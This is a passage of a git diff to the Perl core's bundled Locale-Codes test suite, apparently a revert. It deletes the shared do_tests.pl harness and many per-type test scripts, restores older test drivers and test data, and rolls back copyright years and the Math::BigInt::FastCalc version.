-            'language' => 'Language',
-            'currency' => 'Currency',
-            'script'   => 'Script',
-            'langfam'  => 'LangFam',
-            'langext'  => 'LangExt',
-            'langvar'  => 'LangVar',
-           );
-my $generic_tests;
-
-sub do_tests {
-   my($data_type,$inp_file,$test_type,$codeset,$show_errs) = @_;
-   my $type = $type{$data_type};
-   $::data_type = $data_type;
-   $::test_type = $test_type;
-   $inp_file    = $data_type  if (! $inp_file);
-
-   my($runtests) = shift(@ARGV);
-
-   # Load the test function and the data for the tests
-
-   my($dir,$tdir);
-   if ( -f "t/testfunc.pl" ) {
-     require "./t/testfunc.pl";
-     require "./t/vals_${inp_file}.pl";
-     $dir="./lib";
-     $tdir="t";
-   } elsif ( -f "testfunc.pl" ) {
-     require "./testfunc.pl";
-     require "./vals_${inp_file}.pl";
-     $dir="../lib";
-     $tdir=".";
-   } else {
-     die "ERROR: cannot find testfunc.pl\n";
-   }
-
-   unshift(@INC,$dir);
-
-   $::tests .= $generic_tests  if (! defined($show_errs));
-
-   if ($test_type eq 'old') {
-      $::module = "Locale::$type";
-      eval("use $::module");
-      my $tmp   = $::module . "::show_errors";
-      &{ $tmp }(0);
-   } elsif ($test_type eq 'func') {
-      $::module = "Locale::Codes::$type";
-      eval("use $::module");
-      my $tmp   = $::module . "::show_errors";
-      &{ $tmp }(0);
-   } elsif (defined($codeset)) {
-      eval("use Locale::Codes");
-      $::obj = Locale::Codes->new($data_type,$codeset,$show_errs);
-      $::obj->show_errors(1);
-   } elsif (defined($show_errs)) {
-      eval("use Locale::Codes");
-      $::obj = Locale::Codes->new();
-      $::obj->type($data_type);
-      $::obj->show_errors($show_errs);
-   } else {
-      eval("use Locale::Codes");
-      $::obj = new Locale::Codes $data_type;
-      $::obj->show_errors(0);
-   }
-
-   print "$::data_type [$::test_type]\n";
-   test_Func(\&test,$::tests,$runtests);
-}
-
-sub test {
-   my ($op,@test) = @_;
-   my @ret;
-
-   my $stderr = '';
-   {
-      local *STDERR;
-      open STDERR, '>', \$stderr;
-      @ret = _test($op,@test);
-   }
-
-   if ($stderr) {
-      $stderr =~ s/\n.*//m;
-      chomp($stderr);
-      return $stderr;
-   } else {
-      return @ret;
-   }
-}
-
-sub _test {
-   my    ($op,@test) = @_;
-
-   if ($op eq '2code') {
-      my $code;
-      if ($::obj) {
-         $code = $::obj->name2code(@test);
-      } else {
-         $code = &{ "${::data_type}2code" }(@test);
-      }
-      return ($code ? lc($code) : $code);
-
-   } elsif ($op eq '2name') {
-      if ($::obj) {
-         return $::obj->code2name(@test);
-      } else {
-         return &{ "code2${::data_type}" }(@test)
-      }
-
-   } elsif ($op eq 'code2code') {
-      my $code;
-      if ($::obj) {
-         $code = $::obj->code2code(@test);
-      } else {
-         $code = &{ "${::data_type}_code2code" }(@test);
-      }
-      return ($code ? lc($code) : $code);
-
-   } elsif ($op eq 'all_codes') {
-      my $n;
-      if ($test[$#test] =~ /^\d+$/) {
-         $n = pop(@test);
-      }
-
-      my @tmp;
-      if ($::obj) {
-         @tmp = $::obj->all_codes(@test);
-      } else {
-         @tmp = &{ "all_${::data_type}_codes" }(@test);
-      }
-
-      if ($n  &&  @tmp > $n) {
-         return @tmp[0..($n-1)];
-      } else {
-         return @tmp;
-      }
-
-   } elsif ($op eq 'all_names') {
-      my $n;
-      if ($test[$#test] =~ /^\d+$/) {
-         $n = pop(@test);
-      }
-
-      my @tmp;
-      if ($::obj) {
-         @tmp = $::obj->all_names(@test);
-      } else {
-         @tmp = &{ "all_${::data_type}_names" }(@test);
-      }
-
-      if ($n  &&  @tmp > $n) {
-         return @tmp[0..($n-1)];
-      } else {
-         return @tmp;
-      }
-
-   } elsif ($op eq 'rename') {
-      if ($::obj) {
-         return $::obj->rename_code(@test);
-      } else {
-         return &{ "${::module}::rename_${::data_type}" }(@test)
-      }
-   } elsif ($op eq 'add') {
-      if ($::obj) {
-         return $::obj->add_code(@test);
-      } else {
-         return &{ "${::module}::add_${::data_type}" }(@test)
-      }
-   } elsif ($op eq 'delete') {
-      if ($::obj) {
-         return $::obj->delete_code(@test);
-      } else {
-         return &{ "${::module}::delete_${::data_type}" }(@test)
-      }
-   } elsif ($op eq 'add_alias') {
-      if ($::obj) {
-         return $::obj->add_alias(@test);
-      } else {
-         return &{ "${::module}::add_${::data_type}_alias" }(@test)
-      }
-   } elsif ($op eq 'delete_alias') {
-      if ($::obj) {
-         return $::obj->delete_alias(@test);
-      } else {
-         return &{ "${::module}::delete_${::data_type}_alias" }(@test)
-      }
-   } elsif ($op eq 'replace_code') {
-      if ($::obj) {
-         return $::obj->replace_code(@test);
-      } else {
-         return &{ "${::module}::rename_${::data_type}_code" }(@test)
-      }
-   } elsif ($op eq 'add_code_alias') {
-      if ($::obj) {
-         return $::obj->add_code_alias(@test);
-      } else {
-         return &{ "${::module}::add_${::data_type}_code_alias" }(@test)
-      }
-   } elsif ($op eq 'delete_code_alias') {
-      if ($::obj) {
-         return $::obj->delete_code_alias(@test);
-      } else {
-         return &{ "${::module}::delete_${::data_type}_code_alias" }(@test)
-      }
-   } elsif ($op eq 'codeset') {
-      if ($::obj) {
-         return $::obj->codeset(@test);
-      } else {
-         return &{ "${::module}::codeset" }(@test)
-      }
-   } elsif ($op eq 'type') {
-      if ($::obj) {
-         return $::obj->type(@test);
-      } else {
-         return &{ "${::module}::type" }(@test)
-      }
-   }
-}
-
-$generic_tests = "
-#################
-
-2code
-_undef_
-   _undef_
-
-2code
-   _undef_
-
-2code
-_blank_
-   _undef_
-
-2code
-UnusedName
-   _undef_
-
-2code
-   _undef_
-
-2code
-_undef_
-   _undef_
-
-2name
-_undef
-   _undef_
-
-2name
-   _undef_
-
-###
-
-add
-AAA
-newCode
-   1
-
-2code
-newCode
-   aaa
-
-delete
-AAA
-   1
-
-2code
-newCode
-   _undef_
-
-###
-
-add
-AAA
-newCode
-   1
-
-rename
-AAA
-newCode2
-   1
-
-2code
-newCode
-   aaa
-
-2code
-newCode2
-   aaa
-
-###
-
-add_alias
-newCode2
-newAlias
-   1
-
-2code
-newAlias
-   aaa
-
-delete_alias
-newAlias
-   1
-
-2code
-newAlias
-   _undef_
-
-###
-
-replace_code
-AAA
-BBB
-   1
-
-2name
-AAA
-   newCode2
-
-2name
-BBB
-   newCode2
-
-###
-
-add_code_alias
-BBB
-CCC
-   1
-
-2name
-BBB
-   newCode2
-
-2name
-CCC
-   newCode2
-
-delete_code_alias
-CCC
-   1
-
-2name
-CCC
-   _undef_
-
-";
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
-
diff --git a/cpan/Locale-Codes/t/errors.1.t b/cpan/Locale-Codes/t/errors.1.t
deleted file mode 100644
index 1e83e3ec5575..000000000000
--- a/cpan/Locale-Codes/t/errors.1.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('country','error','oo','alpha-2',1);
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/errors.2.t b/cpan/Locale-Codes/t/errors.2.t
deleted file mode 100644
index 8117b962ad66..000000000000
--- a/cpan/Locale-Codes/t/errors.2.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('country','error','oo',undef,1);
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/langext_func.t b/cpan/Locale-Codes/t/langext_func.t
deleted file mode 100644
index b91235d57df5..000000000000
--- a/cpan/Locale-Codes/t/langext_func.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('langext','','func');
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/langext_oo.t b/cpan/Locale-Codes/t/langext_oo.t
deleted file mode 100644
index 119af07cfa08..000000000000
--- a/cpan/Locale-Codes/t/langext_oo.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('langext','','oo');
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/langfam_func.t b/cpan/Locale-Codes/t/langfam_func.t
deleted file mode 100644
index 3e75b34ba9a9..000000000000
--- a/cpan/Locale-Codes/t/langfam_func.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('langfam','','func');
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/langfam_oo.t b/cpan/Locale-Codes/t/langfam_oo.t
deleted file mode 100644
index 4a337b0ae256..000000000000
--- a/cpan/Locale-Codes/t/langfam_oo.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('langfam','','oo');
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/language_func.t b/cpan/Locale-Codes/t/language_func.t
deleted file mode 100644
index 4acc825f8287..000000000000
--- a/cpan/Locale-Codes/t/language_func.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('language','','func');
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/language_old.t b/cpan/Locale-Codes/t/language_old.t
index aa4a1d03d60d..b9970029a9c4 100644
--- a/cpan/Locale-Codes/t/language_old.t
+++ b/cpan/Locale-Codes/t/language_old.t
@@ -4,15 +4,35 @@ use warnings;
 use strict;
 require 5.002;
 
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
+my($runtests,$dir,$tdir);
+$::type          = '';
+$::module        = '';
+$::tests         = '';
+
+$::type   = 'language';
+$::module = 'Locale::Language';
+
+$runtests=shift(@ARGV);
+if ( -f "t/testfunc.pl" ) {
+  require "t/testfunc.pl";
+  require "t/vals.pl";
+  require "t/vals_language.pl";
+  $dir="./lib";
+  $tdir="t";
+} elsif ( -f "testfunc.pl" ) {
+  require "testfunc.pl";
+  require "vals.pl";
+  require "vals_language.pl";
+  $dir="../lib";
+  $tdir=".";
 } else {
-  die "ERROR: cannot find do_tests.pl\n";
+  die "ERROR: cannot find testfunc.pl\n";
 }
 
-do_tests('language','','old');
+unshift(@INC,$dir);
+
+print "language (old)...\n";
+test_Func(\&test,$::tests,$runtests);
 
 1;
 # Local Variables:
diff --git a/cpan/Locale-Codes/t/language_oo.t b/cpan/Locale-Codes/t/language_oo.t
deleted file mode 100644
index 5aa3b3035bca..000000000000
--- a/cpan/Locale-Codes/t/language_oo.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('language','','oo');
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/langvar_func.t b/cpan/Locale-Codes/t/langvar_func.t
deleted file mode 100644
index 1c7d23759eee..000000000000
--- a/cpan/Locale-Codes/t/langvar_func.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('langvar','','func');
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/langvar_oo.t b/cpan/Locale-Codes/t/langvar_oo.t
deleted file mode 100644
index 9b22a98dc4ea..000000000000
--- a/cpan/Locale-Codes/t/langvar_oo.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('langvar','','oo');
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/script_func.t b/cpan/Locale-Codes/t/script_func.t
deleted file mode 100644
index 043238af2397..000000000000
--- a/cpan/Locale-Codes/t/script_func.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('script','','func');
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/script_old.t b/cpan/Locale-Codes/t/script_old.t
index c76b895d1cff..82968c554ee4 100644
--- a/cpan/Locale-Codes/t/script_old.t
+++ b/cpan/Locale-Codes/t/script_old.t
@@ -4,15 +4,35 @@ use warnings;
 use strict;
 require 5.002;
 
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
+my($runtests,$dir,$tdir);
+$::type          = '';
+$::module        = '';
+$::tests         = '';
+
+$::type   = 'script';
+$::module = 'Locale::Script';
+
+$runtests=shift(@ARGV);
+if ( -f "t/testfunc.pl" ) {
+  require "t/testfunc.pl";
+  require "t/vals.pl";
+  require "t/vals_script.pl";
+  $dir="./lib";
+  $tdir="t";
+} elsif ( -f "testfunc.pl" ) {
+  require "testfunc.pl";
+  require "vals.pl";
+  require "vals_script.pl";
+  $dir="../lib";
+  $tdir=".";
 } else {
-  die "ERROR: cannot find do_tests.pl\n";
+  die "ERROR: cannot find testfunc.pl\n";
 }
 
-do_tests('script','','old');
+unshift(@INC,$dir);
+
+print "script (old)...\n";
+test_Func(\&test,$::tests,$runtests);
 
 1;
 # Local Variables:
diff --git a/cpan/Locale-Codes/t/script_oo.t b/cpan/Locale-Codes/t/script_oo.t
deleted file mode 100644
index d15d44113573..000000000000
--- a/cpan/Locale-Codes/t/script_oo.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('script','','oo');
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/testfunc.pl b/cpan/Locale-Codes/t/testfunc.pl
index 497e6776234f..b83c774a79e9 100644
--- a/cpan/Locale-Codes/t/testfunc.pl
+++ b/cpan/Locale-Codes/t/testfunc.pl
@@ -1,5 +1,5 @@
 #!/usr/bin/perl -w
-# Copyright (c) 1996-2018 Sullivan Beck. All rights reserved.
+# Copyright (c) 1996-2016 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
diff --git a/cpan/Locale-Codes/t/vals_country.pl b/cpan/Locale-Codes/t/vals_country.pl
index 3a282f47a152..84627b476079 100644
--- a/cpan/Locale-Codes/t/vals_country.pl
+++ b/cpan/Locale-Codes/t/vals_country.pl
@@ -1,12 +1,12 @@
 #!/usr/bin/perl
-# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
 use warnings;
 use strict;
 
-$::tests = '';
+$::tests = $::generic_tests;
 
 $::tests = "
 ##################
@@ -209,7 +209,7 @@
 alpha-2
 not_retired
 other_arg
-   Japan
+   _undef_
 
 2name
 jp
@@ -407,92 +407,92 @@
    _undef_
 
 ##################
-# countrycode2code
+# country_code2code
 
-code2code
+_code2code
 bo
 alpha-2
 alpha-2
    bo
 
-code2code
+_code2code
 bo
 alpha-3
 alpha-3
    _undef_
 
-code2code
+_code2code
 zz
 alpha-2
 alpha-3
    _undef_
 
-code2code
+_code2code
 zz
 alpha-3
 alpha-3
    _undef_
 
-code2code
+_code2code
 zz
 alpha-2
 0
    _undef_
 
-code2code
+_code2code
 bo
 alpha-2
 0
    _undef_
 
-code2code
+_code2code
 _blank_
 0
 0
    _undef_
 
-code2code
+_code2code
 BO
 alpha-2
 alpha-3
    bol
 
-code2code
+_code2code
 bol
 alpha-3
 alpha-2
    bo
 
-code2code
+_code2code
 zwe
 alpha-3
 alpha-2
    zw
 
-code2code
+_code2code
 858
 numeric
 alpha-3
    ury
 
-code2code
+_code2code
 858
 numeric
 alpha-3
    ury
 
-code2code
+_code2code
 tr
 alpha-2
 numeric
    792
 
-code2code
+_code2code
 tr
 alpha-2
-   tr
+   _undef_
 
-code2code
+_code2code
    _undef_
 
 ###################################
@@ -676,7 +676,7 @@
 alpha-3
    NameA2
 
-code2code
+_code2code
 z1
 alpha-2
 alpha-3
@@ -724,7 +724,7 @@
 alpha-3
    NameB2
 
-code2code
+_code2code
 z2
 alpha-2
 alpha-3
@@ -778,7 +778,7 @@
    0
 
 ###################################
-# Test replace_code
+# Test rename_code
 
 2name
 zz
@@ -792,17 +792,17 @@
 Argentina
    ar
 
-replace_code
+rename_code
 ar
 us
    0
 
-replace_code
+rename_code
 ar
 zz
    1
 
-replace_code
+rename_code
 us
 ar
    0
@@ -819,7 +819,7 @@
 Argentina
    zz
 
-replace_code
+rename_code
 zz
 ar
    1
@@ -836,13 +836,13 @@
 Argentina
    ar
 
-replace_code
+rename_code
 ar
 z2
 foo
    0
 
-replace_code
+rename_code
 ar
 z2
 alpha-3
@@ -953,6 +953,8 @@
 bm
 foo
    0
+
+$::generic_tests
 ";
 
 1;
diff --git a/cpan/Locale-Codes/t/vals_currency.pl b/cpan/Locale-Codes/t/vals_currency.pl
index 2c07b41ac16f..de7626bb73fd 100644
--- a/cpan/Locale-Codes/t/vals_currency.pl
+++ b/cpan/Locale-Codes/t/vals_currency.pl
@@ -1,15 +1,16 @@
 #!/usr/bin/perl
-# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
 use warnings;
 use strict;
 
-$::tests = '';
+$::tests = $::generic_tests;
 
 $::tests = "
 
+
 2code
 Canadian Dollar
    cad
@@ -34,7 +35,7 @@
 KHR
    Riel
 
-code2code
+_code2code
 BZD
 alpha
 num
@@ -56,6 +57,10 @@
 bob
    Boliviano
 
+2name
+byr
+   Belarusian Ruble
+
 2name
 chf
    Swiss Franc
@@ -112,6 +117,7 @@
    ADB Unit of Account
    Afghani
 
+$::generic_tests
 ";
 
 1;
diff --git a/cpan/Locale-Codes/t/vals_error.pl b/cpan/Locale-Codes/t/vals_error.pl
deleted file mode 100644
index 6192ae414dce..000000000000
--- a/cpan/Locale-Codes/t/vals_error.pl
+++ /dev/null
@@ -1,52 +0,0 @@
-#!/usr/bin/perl
-# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
-# This program is free software; you can redistribute it and/or modify it
-# under the same terms as Perl itself.
-
-use warnings;
-use strict;
-
-$::tests = '';
-
-$::tests = "
-all_names
-foo
-2
-   ~
-   ERROR: _code: invalid codeset provided: foo
-
-2name
-zz
-   ~
-   ERROR: _code: code not in codeset: zz [alpha-2]
-
-type
-zz
-   ~
-   ERROR: type: invalid argument: zz
-
-2name
-aaa
-numeric
-   ~
-   ERROR: _code: invalid numeric code: aaa
-
-codeset
-zz
-   ~
-   ERROR: codeset: invalid argument: zz
-
-";
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
-
diff --git a/cpan/Locale-Codes/t/vals_langext.pl b/cpan/Locale-Codes/t/vals_langext.pl
index 28e9cb88065c..f067444bb336 100644
--- a/cpan/Locale-Codes/t/vals_langext.pl
+++ b/cpan/Locale-Codes/t/vals_langext.pl
@@ -1,12 +1,12 @@
 #!/usr/bin/perl
-# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
 use warnings;
 use strict;
 
-$::tests = '';
+$::tests = $::generic_tests;
 
 $::tests = "
 
@@ -18,7 +18,7 @@
 acm
    Mesopotamian Arabic
 
-code2code
+_code2code
 ACM
 alpha
 alpha
@@ -36,6 +36,7 @@
    Adamorobe Sign Language
    Afghan Sign Language
 
+$::generic_tests
 ";
 
 1;
diff --git a/cpan/Locale-Codes/t/vals_langfam.pl b/cpan/Locale-Codes/t/vals_langfam.pl
index 8844b0831515..304b08f218f1 100644
--- a/cpan/Locale-Codes/t/vals_langfam.pl
+++ b/cpan/Locale-Codes/t/vals_langfam.pl
@@ -1,12 +1,12 @@
 #!/usr/bin/perl
-# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
 use warnings;
 use strict;
 
-$::tests = '';
+$::tests = $::generic_tests;
 
 $::tests = "
 
@@ -19,7 +19,7 @@
 apa
    Apache languages
 
-code2code
+_code2code
 apa
 alpha
 alpha
@@ -37,6 +37,7 @@
    Afro-Asiatic languages
    Alacalufan languages
 
+$::generic_tests
 ";
 
 1;
diff --git a/cpan/Locale-Codes/t/vals_language.pl b/cpan/Locale-Codes/t/vals_language.pl
index 103ee804dfc8..83764da0af2f 100644
--- a/cpan/Locale-Codes/t/vals_language.pl
+++ b/cpan/Locale-Codes/t/vals_language.pl
@@ -1,12 +1,12 @@
 #!/usr/bin/perl
-# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
 use warnings;
 use strict;
 
-$::tests = '';
+$::tests = $::generic_tests;
 
 $::tests = "
 
@@ -289,12 +289,14 @@
 za
    Zhuang
 
-code2code
+_code2code
 zu
 alpha-2
 alpha-3
    zul
 
+
+$::generic_tests
 ";
 
 1;
diff --git a/cpan/Locale-Codes/t/vals_langvar.pl b/cpan/Locale-Codes/t/vals_langvar.pl
index 6e2beaa4e9ed..cada3d4af359 100644
--- a/cpan/Locale-Codes/t/vals_langvar.pl
+++ b/cpan/Locale-Codes/t/vals_langvar.pl
@@ -1,12 +1,12 @@
 #!/usr/bin/perl
-# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
 use warnings;
 use strict;
 
-$::tests = '';
+$::tests = $::generic_tests;
 
 $::tests = "
 
@@ -18,7 +18,7 @@
 arevela
    Eastern Armenian
 
-code2code
+_code2code
 arevela
 alpha
 alpha
@@ -36,6 +36,7 @@
    \"Academic\" (\"governmental\") variant of Belarusian as codified in 1959
    ALA-LC Romanization, 1997 edition
 
+$::generic_tests
 ";
 
 1;
diff --git a/cpan/Locale-Codes/t/vals_script.pl b/cpan/Locale-Codes/t/vals_script.pl
index 494864ce4856..65e787ab9c2a 100644
--- a/cpan/Locale-Codes/t/vals_script.pl
+++ b/cpan/Locale-Codes/t/vals_script.pl
@@ -1,12 +1,13 @@
 #!/usr/bin/perl
-# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
 use warnings;
 use strict;
 
-$::tests = '';
+$::tests = $::generic_tests;
+
 $::tests = "
 
 2code
@@ -31,7 +32,7 @@
 num
    Phoenician
 
-code2code
+_code2code
 Phnx
 alpha
 num
@@ -49,6 +50,8 @@
    Adlam
    Afaka
 
+
+$::generic_tests
 ";
 
 1;
diff --git a/cpan/Math-BigInt-FastCalc/lib/Math/BigInt/FastCalc.pm b/cpan/Math-BigInt-FastCalc/lib/Math/BigInt/FastCalc.pm
index 8d0ba4097afb..6920f5637afb 100644
--- a/cpan/Math-BigInt-FastCalc/lib/Math/BigInt/FastCalc.pm
+++ b/cpan/Math-BigInt-FastCalc/lib/Math/BigInt/FastCalc.pm
@@ -4,11 +4,11 @@ use 5.006;
 use strict;
 use warnings;
 
-use Math::BigInt::Calc 1.999801;
+use Math::BigInt::Calc '1.999801';
 
 our @ISA = qw< Math::BigInt::Calc >;
 
-our $VERSION = '0.5006';
+our $VERSION = '0.5005';
 
 ##############################################################################
 # global constants, flags and accessory
